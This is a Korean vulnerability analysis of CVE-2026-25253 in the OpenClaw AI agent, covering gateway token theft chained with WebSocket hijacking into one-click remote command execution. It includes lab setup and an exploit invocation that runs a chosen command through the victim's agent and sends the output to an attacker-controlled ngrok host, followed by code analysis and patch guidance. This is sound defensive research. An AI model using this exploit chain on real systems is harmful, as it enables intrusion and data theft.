Research & Technique

OpenClaw 1-Click RCE 취약점

■ 서론

2026년 2월 1일, 오픈소스 프로젝트인 개인용 AI 에이전트 OpenClaw(구 Moltbot, Clawdbot)의 Control UI 1에서 발생하는 게이트웨이 2 인증 토큰 탈취 취약점(CVE-2026-25253)이 공개되었다. 해당 취약점은 URL 파라미터 처리 과정에서 입력값에 대한 검증 부재로 인해 발생하며, 공격자는 조작된 링크를 통해 사용자의 게이트웨이 인증 토큰을 탈취할 수 있다.

OpenClaw는 메시징 채널 연동 및 자동화 기능을 통해 다양한 작업을 수행할 수 있으며, 파일 접근, 브라우저 자동화, 셸 명령 실행 등 시스템 수준의 기능도 지원한다. 따라서 탈취된 토큰을 이용해 공격자가 피해자의 OpenClaw 서비스에 접근할 경우, AI 에이전트 기능을 악용한 원격 명령 실행으로 이어질 수 있다. 최악의 경우, 공격자가 피해자의 시스템을 완전히 장악할 수 있다.

OpenClaw는 공개 이후 단기간에 높은 관심을 받으며 GitHub에서 30만 개 이상의 Star를 기록했고, 현재도 가파른 증가세를 보이고 있어 영향 받을 수 있는 사용자 범위가 넓다. 따라서 OpenClaw를 운영하는 환경에서는 해당 취약점의 영향 여부를 확인하고, 보안 패치를 적용할 필요가 있다.

그림 1. OpenClaw GitHub Star History (2026.03.10)

■ 영향받는 소프트웨어 버전

CVE-2026-25253에 취약한 소프트웨어는 다음과 같다.

S/W 구분 취약 버전
OpenClaw v2026.1.29 미만

■ 공격 시나리오

그림 2. 공격 시나리오

■ 테스트 환경 구성 정보

테스트 환경을 구축하여 CVE-2026-25253의 동작 과정을 확인한다. 피해자가 본인의 PC에 도커로 구동 중인 OpenClaw 서버를 Control UI를 통해 이용하는 환경으로 구성된다.

이름 정보
피해자 PC Windows (127.0.0.1)
피해자의 OpenClaw 서버 ubuntu:22.04 & OpenClaw 2026.1.24-1 (172.17.0.2)
공격자 PC Kali Linux (172.17.0.3)

■ 취약점 테스트

Step 1. 환경구성

피해자 PC에 OpenClaw 취약 버전을 설치하여 취약 환경을 구성한다. CVE-2026-25253 취약점 테스트 구성을 위한 도커 이미지 및 취약점 테스트 파일은 아래 EQSTLab GitHub Repository에서 확인할 수 있다.

• URL: https://github.com/EQSTLab/CVE-2026-25253

피해자 PC에서 도커를 사용해 취약한 OpenClaw 서버를 구성한다. 다음 명령어로 도커 이미지를 빌드한 뒤 실행한다.

> git clone https://github.com/EQSTLab/CVE-2026-25253.git

> cd CVE-2026-25253

> docker build -t openclaw-vuln .

> docker run -d --name openclaw-vuln -p 127.0.0.1:2222:22 openclaw-vuln

피해자 PC에서 컨테이너 내부에서 실행 중인 OpenClaw를 사용하기 위해 SSH 터널 환경을 구성한다. 다음 명령어로 OpenClaw 컨테이너와 피해자 PC를 연결한다.

> ssh-keygen -R [127.0.0.1]:2222

> ssh -N -L 18789:127.0.0.1:18789 -p 2222 root@127.0.0.1

> Are you sure you want to continue connecting (yes/no/[fingerprint])? yes

> root@127.0.0.1's password: openclawlab

피해자 PC에서 http://127.0.0.1:18789/에 접근하여 Control UI를 확인한다.
Gateway Token에 d4b7c7689b82981ff86c735a9f8f616b310491b0d334659a1491c55a13353e66를 입력하고 Connect를 눌러 OpenClaw 게이트웨이에 연결한다.

그림 3. 피해자 Open Claw 환경 구성 1

앞서 다운로드한 config.txt 파일의 내용을 Config에 붙여넣고 Save를 눌러 적용한다. apiKey에는 본인 소유의 OpenAI API키를 입력한다.

그림 4. 피해자 OpenClaw 환경 구성 2

Chat 창에서 메시지를 전송했을 때, 정상적으로 응답이 반환되는 것을 확인하고 취약 환경 구성을 마무리한다.

그림 5. 피해자 OpenClaw 환경 구성 3

Step 2. 취약점 테스트

피해자가 접근할 악성 웹페이지를 도메인으로 접속해서 테스트하기 위한 준비를 한다. ngrok을 설치하고 ngrok 홈페이지에서 발급받은 토큰으로 인증한다. 그리고 공격자 PC의 7 localhost:13337로 접근할 수 있는 주소를 생성한다.

> wget https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-linux-amd64.tgz && tar xzf ngrok-v3-stable-linux-amd64.tgz

> ./ngrok authtoken YOUR_TOKEN

> ./ngrok http 13337

그림 6. 공격자 악성 웹페이지 구성 1

PoC를 다운로드하여 악성 웹페이지를 구동시키기 위해, 추가 터미널을 띄워 다음 명령어를 실행한다. 이때, --host 옵션으로 ngrok 포워딩 주소를 넣어주고, --command 옵션으로 원하는 실행 명령어를 넣어준다.

> git clone https://github.com/EQSTLab/CVE-2026-25253.git

> cd CVE-2026-25253

> pip3 install -r requirements.txt

> python3 exploit.py --host cd49-218-233-105-165.ngrok-free.app --command "env"

아래와 같이 확인될 경우, 악성 웹페이지가 정상적으로 구동 중인 것이다.

그림 7. 공격자 악성 웹페이지 구성 2

이후 피해자가 해당 웹페이지에 접근하는 상황을 가정한다. 다시 피해자 PC로 돌아와, 앞선 ngrok 주소로 접근하고, Exploit 버튼을 누른다.

그림 8. 피해자가 공격자의 악성 웹페이지에 접근

공격이 정상적으로 수행되면, 피해자 브라우저에는 아래와 같은 화면이 표시된다.

그림 9. 악성 스크립트로 인한 RCE

공격자 PC에서 웹페이지를 구동 중인 터미널의 로그를 확인하면, 아래와 같이 사전에 지정한 명령어가 실행된 것을 확인할 수 있다.

그림 10. 공격자 서버로 전송된 RCE 결과

■ 취약점 상세 분석

Step 1. 취약 코드 분석

CVE-2026-25253은 gatewayUrl 파라미터 처리 방식, 설정 저장 이후 자동 연결 동작, 인증 토큰 전송 구조가 결합되면서 발생한다. 특히 URL 파라미터를 통해 전달된 gatewayUrl 값에 대한 검증 절차 없이 자동으로 연결이 수행되면서 인증 토큰이 외부 서버로 전송될 수 있다.

정상적인 경우 Control UI는 사용자가 설정한 OpenClaw 게이트웨이에 웹소켓으로 연결한 뒤, 게이트웨이와 인증 메시지를 교환하며 디바이스 검증을 수행한다. 검증이 완료되면 세션이 유지되고 이후 기능을 정상적으로 사용할 수 있다.

그림 11. 정상 연결

그러나 연결 대상이 악성 웹페이지에 삽입된 코드에 의해 공격자 서버로 변경되는 경우에도 동일한 연결 및 인증 절차가 수행된다. 이 과정에서 서버가 별도의 디바이스 인증 요청을 보내지 않더라도 인증 토큰이 포함된 인증 메시지가 공격자 서버로 전송된다.

그림 12. 악성 웹페이지 접근 시

1. gatewayUrl 파라미터 처리 및 검증 부재

Control UI는 URL에 gatewayUrl 파라미터가 있으면 이를 현재 연결 주소 설정에 반영한다.

그림 13. gatewayUrl 변경 로직(ui/src/ui/app-settings.ts)

그림 14. 변경된 설정 적용 및 저장(ui/src/ui/app-settings.ts)

반영된 연결 설정은 브라우저의 로컬 스토리지에 저장된다.

그림 15. 변경된 설정 저장(ui/src/ui/storage.ts)

따라서 공격자는 자신의 웹소켓 주소가 포함된 악성 URL을 통해, 피해자 Control UI의 gatewayUrl이 공격자 서버를 가리키도록 유도할 수 있다. 이 과정은 별도의 사용자 확인 절차 없이 진행되므로, 피해자가 변경 사실을 즉시 인지하기 어렵다.

그림 16. 정상 게이트웨이 주소(Control UI)

그림 17. 자동으로 변경된 게이트웨이 주소

2. 게이트웨이 자동 연결

문제는 gatewayUrl이 변경된 이후, 사용자가 Connect 버튼을 클릭하지 않아도 Control UI가 자동으로 웹소켓 연결을 수행한다는 점이다. gatewayUrl이 새롭게 저장되면 Control UI는 즉시 변경된 주소로 연결을 시도한다.

그림 18 변경된 게이트웨이로 연결(ui/src/ui/app-gateway.ts)

그림 19. 웹소켓 연결 요청(ui/src/ui/gateway.ts)

3. 인증 토큰 유출

웹소켓 연결이 수립되면, Control UI는 OpenClaw 인증을 위해 인증 정보를 전송한다. 이 인증 메시지에는 게이트웨이 접근 권한을 증명하기 위한 인증 토큰이 포함된다.

그림 20. 토큰 전송 로직(ui/src/ui/gateway.ts)

따라서 Control UI가 연결을 시도한 공격자 서버는 인증 토큰을 탈취할 수 있다.

그림 21. OpenClaw 게이트웨이 인증 요청 메시지

이와 같이 CVE-2026-25253에 의해 인증 토큰이 외부 서버로 유출될 수 있고, 이로 인해 공격자는 피해자의 OpenClaw 게이트웨이에 접근하기 위한 기반을 확보할 수 있다.

Step 2. 토큰 탈취 이후 후속 공격

인증 토큰이 탈취되더라도 OpenClaw를 로컬 환경에서 사용하는 경우, 공격자가 외부에서 직접 피해자의 OpenClaw 게이트웨이에 접근해 명령을 전달하는 것은 어렵다. Step2에서는 이러한 한계점마저 극복하고 RCE를 실현하는 공격 방식을 소개한다.

1. 웹소켓 하이재킹 (CSWSH, Cross-Site WebSocket Hijacking)

웹소켓 하이재킹(이하 CSWSH)은 공격자가 악성 웹페이지를 통해 피해자의 브라우저로 웹소켓 연결을 생성하게 하고, 해당 연결을 통해 피해자의 브라우저가 보유한 권한으로 요청이 처리되도록 만드는 공격 기법이다. 이는 CSRF(Cross-Site Request Forgery)와 유사한 측면이 있으나, HTTP 요청 대신 웹소켓 연결과 메시지 교환을 악용한다는 차이점이 있다.

피해자가 악성 웹페이지에 접속하면, 해당 페이지의 스크립트가 피해자 브라우저를 이용해 정상 서비스로 웹소켓 연결을 생성한다. 이때 브라우저가 자동으로 포함하는 인증 정보나 세션 정보를 기반으로 정상 서비스는 이를 적법한 요청으로 인식하게 되어, 공격자는 미리 지정해 둔 웹 소켓 요청 메시지를 전송하거나, 응답 메시지를 확인할 수 있다.

그림 22. CSWSH 원리

CSWSH 공격은 Origin 3 검증을 통해 방어할 수 있으나, CVE-2026-25253에 노출된 취약 버전의 OpenClaw는 Origin 검증을 수행하지 않아 CSWSH 공격에 취약하다. 따라서 토큰 유출 취약점인 CVE-2026-25253은 CSWSH 공격과 결합하여 RCE로 연계될 수 있다.

2. 탈취된 토큰을 이용한 시스템 연결 및 명령 실행

공격자는 CVE-2026-25253을 통해 탈취한 인증 토큰을 이용해 피해자의 OpenClaw에 연결하고 명령을 전달할 수 있다. 공격자가 CSWSH 기법을 통해 RCE를 수행하는 과정은 다음과 같다.

2.1. 로컬 서비스 접근

해당 서비스는 일반적으로 외부에서 직접 접근할 수 없다. 따라서, 공격자는 이를 우회하기 위해 피해자의 브라우저를 중간 거점으로 악용하는 CSWSH 기법을 사용하여 내부망과 통신하고 조작된 요청을 전송한다.

공격자가 생성한 악성 웹페이지에는 해당 동작을 수행하는 스크립트가 포함되어 있어, 피해자가 페이지에 접근하는 즉시 공격이 자동으로 수행될 수 있다.

그림 23. 악성 웹페이지 내 피해자 로컬 서비스 접근 스크립트

2.2. 디바이스 인증 수행

OpenClaw 게이트웨이는 새로운 웹소켓 연결이 생성되면 해당 클라이언트를 신뢰할 수 있는지 확인하기 위해 디바이스 인증 절차를 수행한다. 연결이 생성되면 먼저 “connect.challenge” 메시지를 전송하며, 클라이언트는 이에 대한 응답으로 인증 정보를 포함한 “connect” 요청 메시지를 전송해야 한다.

그림 24. connect.challenge 메시지

공격자는 탈취한 인증 토큰을 이용하여 정상 클라이언트의 형식을 모방한 connect 요청 메시지를 생성한다. 이 메시지에는 새로운 deviceId와 공개키 정보 등이 포함된다.

그림 25. 공격자 웹페이지 내 connect 요청 메시지를 생성하는 코드

그림 26. 브라우저에서 전송한 connect 요청 메시지

OpenClaw 게이트웨이는 전달된 토큰과 인증 정보를 검증한 뒤, 이를 새로운 디바이스로 등록하고 연결을 승인한다.

그림 27. 인증 성공 응답 메시지

결과적으로 악성 웹페이지에 포함된 스크립트는 피해자 브라우저 내에서 OpenClaw와의 새로운 웹소켓 연결을 생성하고, 명령 실행 요청 메시지를 전송할 수 있는 상태가 된다.

2.3. OpenClaw를 통한 명령 실행

악성 웹페이지는 웹소켓 연결 수립 후, 미리 지정해둔 명령을 실행하고 그 결과를 반환하도록 요청하는 메시지를 전송한다.

그림 28. 공격자 웹페이지 내 명령 요청을 생성하는 코드

그림 29. 실제로 전송된 웹소켓 요청 메시지

OpenClaw에 연결된 에이전트는 해당 요청 메시지에 포함된 명령을 수행하고, 그 결과를 반환한다.

그림 30. 실행 결과

2.4. 공격자 서버로 명령 실행 결과 전송

악성 웹페이지는 에이전트가 반환한 결과를 공격자 서버로 전송하며, 공격자는 이를 통해 피해자의 OpenClaw에 임의 명령을 실행한 결과를 확인할 수 있다.

그림 31. 명령 실행 결과를 공격자 서버로 전송

■ 대응 방안

CVE-2026-25253은 원격 코드 실행으로 연계될 수 있으며, 클릭 한 번으로 취약점이 악용될 수 있어 위험도가 높다. 따라서 해당 취약점에 노출된 OpenClaw는 즉시 보안 패치를 적용해야 한다.

S/W 구분

패치 버전

OpenClaw v2026.1.29 이상

Step 1. 보안 패치 적용

2026년 1월 30일 OpenClaw 개발팀은 CVE-2026-25253 취약점에 대한 보안 패치를 공개했다. 해당 패치에서는 URL 파라미터를 통해 전달되는 gatewayUrl 값이 즉시 게이트웨이 설정에 반영되던 기존 동작을 수정하고, 사용자 확인 절차를 거친 뒤에만 설정이 적용되도록 로직을 변경했다.

1. URL 파라미터를 통한 gatewayUrl의 즉시 적용 제거

앞선 취약 버전에서는 applySettingsFromUrl() 함수가 gatewayUrl 파라미터 값을 즉시 settings.gatewayUrl에 반영했었다. 이로 인해 공격자가 피싱 링크에 공격자 웹소켓 주소를 포함시키면, 사용자가 해당 링크를 열기만 해도 게이트웨이 연결 대상이 공격자 서버로 변경될 수 있었다.

패치 이후에는 gatewayUrl 값을 즉시 설정에 반영하지 않고 pendingGatewayUrl 변수에 임시 저장하도록 변경되었다. 이로 인해, 악성 링크를 열더라도 gatewayUrl이 자동으로 설정에 반영되지 않으며, 곧바로 공격자 서버로 연결되는 경로가 차단된다.

그림 32. gatewayUrl 변경 시 즉시 적용 제거(ui/src/ui/app-settings.ts)

2. 게이트웨이 변경 확인 모달 추가

패치 이후, 새로운 게이트웨이 주소가 감지되면 사용자 화면에 경고 모달이 표시되며, 사용자가 직접 승인해야만 실제 설정 반영과 게이트웨이 재연결이 진행된다.

그림 33. gatewayUrl 변경 시 모달창

그림 34. 확인/취소 버튼 클릭 시 게이트웨이 변경 로직(ui/src/ui/views/gateway-url-confirmation.ts)

따라서 OpenClaw를 사용하는 환경에서는 취약 버전을 즉시 업데이트하고, 외부 URL 파라미터에 의한 설정 변경이 자동으로 적용되지 않도록 보안 패치를 적용해야 한다.

Step 2. 추가 대응 방안

OpenClaw는 v2026.1.29 패치를 통해 gatewayUrl 값이 URL 파라미터만으로 즉시 적용되던 기존 동작을 수정하고, 사용자 확인 절차를 거친 뒤에만 게이트웨이 변경이 이루어지도록 개선했다. 그러나 해당 방식은 사용자의 승인 여부에 의존하므로, 사용자가 경고 의미를 충분히 이해하지 못하거나 실수로 승인할 경우 여전히 위험이 발생할 수 있다. 또한 CSWSH 기반 공격에 대한 대응이 부족하여 추가적인 조치가 필요하다.

1. 근본적인 대응 방안

보다 근본적인 대응을 위해서는 gatewayUrl을 외부 입력이나 사용자 설정을 통해 변경할 수 있도록 두는 구조 자체를 제거해야 한다. 즉, 연결 대상 게이트웨이는 애플리케이션 내부에서 고정하거나 신뢰받은 구성값으로만 관리되도록 설계하여, 사용자가 임의의 주소를 입력하거나 공격자가 이를 조작할 수 없도록 해야 한다. 이러한 방식은 단순히 사용자 확인 절차를 추가하는 수준을 넘어, 악성 서버로의 연결 경로 자체를 원천적으로 차단할 수 있기에 게이트웨이 인증 토큰 유출을 방지하는 근본적인 보호 방안이 된다.

2. CSWSH 공격 대응

CSWSH 기반 공격에 대응하기 위해서는 웹소켓 핸드셰이크 과정에서 Origin 헤더를 검증하여, 허용된 출처에서 발생한 연결만 수락하도록 설정해야 한다. 이러한 방식은 공격자가 악성 웹페이지를 이용해 피해자의 브라우저에서 OpenClaw 게이트웨이로 웹소켓 연결을 생성하는 것을 제한할 수 있다.

OpenClaw는 이후 후속 보안 패치를 통해 브라우저 웹소켓 연결에 대한 Origin 검증 로직을 도입했다. v2026.2.2에서 Origin 검증 추가 패치를 적용했고, v2026.2.25에서는 해당 검증의 범위를 브라우저에서 전달된 요청 전반으로 확대했다.

S/W 구분

패치 버전

OpenClaw v2026.2.2
OpenClaw v2026.2.25

Origin 검증이 추가되며, 사용자가 사전에 허용한 Origin과 웹소켓 연결을 시도한 페이지와 실제 연결하려는 서버의 Origin이 동일한 경우에만 웹소켓 연결을 허용하도록 변경되었다. 이로써 악성 웹페이지를 통한 CSWSH 공격은 Origin 검증을 만족하지 못해, 웹소켓 연결이 불가능해짐에 따라 제한된다.

그림 35. OpenClaw Origin 검증 로직 추가(v2026.2.2)

하지만 Control UI 혹은 Webchat의 연결 요청에 대해서만 검증을 적용하여 ClawJacked 4로 연계되는 문제가 발생하였고, 이를 브라우저의 연결 요청 전반에 검증을 적용하여 해결했다.

그림 36. Origin 검증 적용 범위 확대(v2026.2.25)

따라서 OpenClaw를 운영하는 환경에서는 최소한 v2026.2.25 이상으로 업데이트하여 CSWSH 기반 공격을 방지하는 것이 바람직하다.

■ OpenClaw 생태계의 보안 위협

앞서 분석한 CVE-2026-25253 사례는 OpenClaw가 실제 공격에 악용될 수 있는 구조적 위험을 내포하고 있음을 보여준다. 그러나 OpenClaw의 위협은 특정 취약점 하나에만 국한되지 않는다. 실제로 OpenClaw의 미흡한 대응은 ClawJacked와 같은 후속 공격 사례로 이어지며, 초기 대응만으로는 위험이 충분히 해소되지 않았음을 드러냈다.

여기에 스킬 5 배포·설치 흐름을 노린 악성 스킬 유포 기법인 ClawHavoc 6까지 등장하면서, 공격자는 신뢰 관계, 확장 기능, 배포 체계와 같은 생태계 전반의 취약점을 지속적으로 노릴 수 있는 상황이다.

이는 OpenClaw가 개인과 조직 내부 환경에 침투하기 위한 매개체로 악용될 가능성이 여전히 남아 있음을 시사한다. 따라서 개인과 기업 모두 특정 취약점 대응에 그치지 않고, 설치·연결·권한·스킬 관리 전반에 걸친 엄격한 운영 정책과 기술적 통제를 마련할 필요가 있다.

■ 참고 사이트

OpenClaw Github Security: https://github.com/openclaw/openclaw/security/advisories/GHSA-g8p2-7wf7-98mq NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-25253 ethiack: https://ethiack.com/news/blog/one-click-rce-openclaw depthfirst: https://depthfirst.com/post/1-click-rce-to-steal-your-moltbot-data-and-keys CVEdetails: https://www.cvedetails.com/cve/CVE-2026-25253/ PortSwigger: https://portswigger.net/web-security/websockets/cross-site-websocket-hijacking


1 Control UI: 사용자가 브라우저를 통해 OpenClaw 게이트웨이에 접속하여 설정을 관리하고, AI 에이전트와 상호작용할 수 있는 웹 기반 인터페이스

2 게이트웨이(Gateway): 시스템 간 통신을 중계하는 구성요소로, OpenClaw에서 Control UI와 외부 채널의 요청을 AI 에이전트에 전달하고, 실행 결과를 다시 반환하며, 인증과 연결 관리도 수행한다.

3 Origin: 웹 브라우저에서 리소스의 출처를 나타내는 개념으로, 일반적으로 프로토콜(scheme), 도메인(host), 포트(port)의 조합으로 구성된다.

4 ClawJacked: OpenClaw가 localhost 연결을 과도하게 신뢰한 결과, 비밀번호 기반 인증 환경에서 로컬 연결에 대한 무차별 대입 공격이 가능했던 점을 악용한 사례다.

5 스킬(Skill): 에이전트에 특정 작업 수행 능력을 추가하는 플러그인 형태의 확장 도구

6 ClawHavoc: OpenClaw의 스킬 마켓플레이스(ClawHub)를 겨냥해 발생한 대규모 공급망 공격 캠페인의 코드네임